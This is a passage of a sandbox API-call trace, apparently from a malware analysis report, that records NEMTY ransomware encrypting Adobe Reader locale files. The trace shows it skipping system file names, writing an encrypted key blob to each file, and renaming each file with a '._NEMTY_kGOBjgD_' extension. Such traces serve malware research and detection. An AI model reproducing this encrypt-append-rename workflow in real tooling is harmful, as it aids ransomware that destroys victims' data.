hHeap=0x4f90000) returned 1 [0179.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.JPN", lpUsedDefaultChar=0x0) returned 9 [0179.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.080] Sleep (dwMilliseconds=0x5) [0179.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e63edb0, dwHighDateTime=0x1d561e8)) [0179.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e63edb0, dwHighDateTime=0x1d561e8)) [0179.086] GetLastError () returned 0x0 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.086] GetLastError () returned 0x0 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.086] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.086] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.086] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.086] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="MkVbn/XpwjrpM4tMkmEeyoGuM5ojTQeAXnPG6T6g320JxqdMx1reabeB22bp/YO3\r\n9miy3bt0H+cryKaR3eXcwPqyM/v0bnJJdjJ+ViUXXsBnLVUwK1zgA/gEDKiN+iwC\r\n5RX6M5qdtiCJODQb1xtbK7EHeGbo2nF0Njr/zuj0LNs9Pwup14O5ZvYwHItl/6fF\r\nJjMSRI5Rs2trrdM1GGyyBG6KFhtIPl4+OJbYDkfY3MJppJ28Lmq32rrK50kxel++\r\n9+s/pVFycy+PJCHAk/hz/dXcndlx8pRyU9DMj2lPzb+TjTN8PzVXQ8zPsedcpir6\r\nM7SokLhFifwj3i4Vgh+YNg==\r\n", pcchString=0x653e5dc) returned 1 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\pddom.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\pddom.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.087] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0179.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0179.087] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.087] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0179.089] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.089] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0179.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.089] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0179.089] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.089] CloseHandle (hObject=0x2e8) returned 1 [0179.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.090] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\pddom.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\pddom.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\pddom.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\pddom.jpn._nemty_kgobjgd_")) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.JPN", cAlternateFileName="")) returned 1 [0179.090] lstrcmpiW (lpString1="PPKLite.JPN", lpString2=".") returned 1 [0179.090] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="..") returned 1 [0179.090] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="...") returned 1 [0179.090] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="windows") returned -1 [0179.090] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.090] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="rsa") returned -1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="NTDETECT.COM") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="ntldr") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="MSDOS.SYS") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="IO.SYS") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="boot.ini") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="boot.ini") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="ntuser.dat") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="desktop.ini") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="CONFIG.SYS") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="RECYCLER") returned -1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="bootmgr") returned 1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="programdata") returned -1 [0179.091] lstrcmpiW (lpString1="PPKLite.JPN", lpString2="appdata") returned 1 [0179.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.092] Sleep (dwMilliseconds=0x5) [0179.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e664f10, dwHighDateTime=0x1d561e8)) [0179.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e664f10, dwHighDateTime=0x1d561e8)) [0179.101] GetLastError () returned 0x0 [0179.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.101] GetLastError () returned 0x0 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.102] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.102] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/3NczupocAo+/XlEQH7Ts1jFyioIQjpvUGUpmAO7lY8WERtra0maX905RR5pnpD/\r\n1+CWrv3VX4GUATi5arHmnXqwh1xOUti7L67km/Zq0pV3bkq0kO/5WaNbEIXWbYeE\r\nKwMqXMExBL4heG5kYtXIADCgjcT23rP019NhzzVFN83YB3jQt6eUS1uTnlusa6Ko\r\n+zFI+Iz8vJqQ6w8D0UkslGOnV5l2E9HVnQRe/MjxQux0zi+1zs5hKGy8NYbtvuPc\r\nFlw/xJSHWOUIlhCuTmSLmAse8TwrEHdEN0JvdA7007sXcbPgcR79bROkuwSddvDL\r\n/hof3EZtVVVhR6SGUpuNPA==\r\n", pcchString=0x653e5dc) returned 1 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\PPKLite.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ppklite.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.102] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=368640) returned 1 [0179.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.102] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.103] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=368640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a000 [0179.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.115] CloseHandle (hObject=0x2e8) returned 1 [0179.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.115] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\PPKLite.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ppklite.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\PPKLite.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ppklite.jpn._nemty_kgobjgd_")) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.116] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf8e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.JPN", cAlternateFileName="")) returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2=".") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="..") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="...") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="windows") returned -1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="rsa") returned -1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="NTDETECT.COM") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="ntldr") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="MSDOS.SYS") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="IO.SYS") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="boot.ini") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="boot.ini") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="ntuser.dat") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="desktop.ini") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="CONFIG.SYS") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="RECYCLER") returned -1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="bootmgr") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="programdata") returned 1 [0179.116] lstrcmpiW (lpString1="RdLang32.JPN", lpString2="appdata") returned 1 [0179.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.JPN", 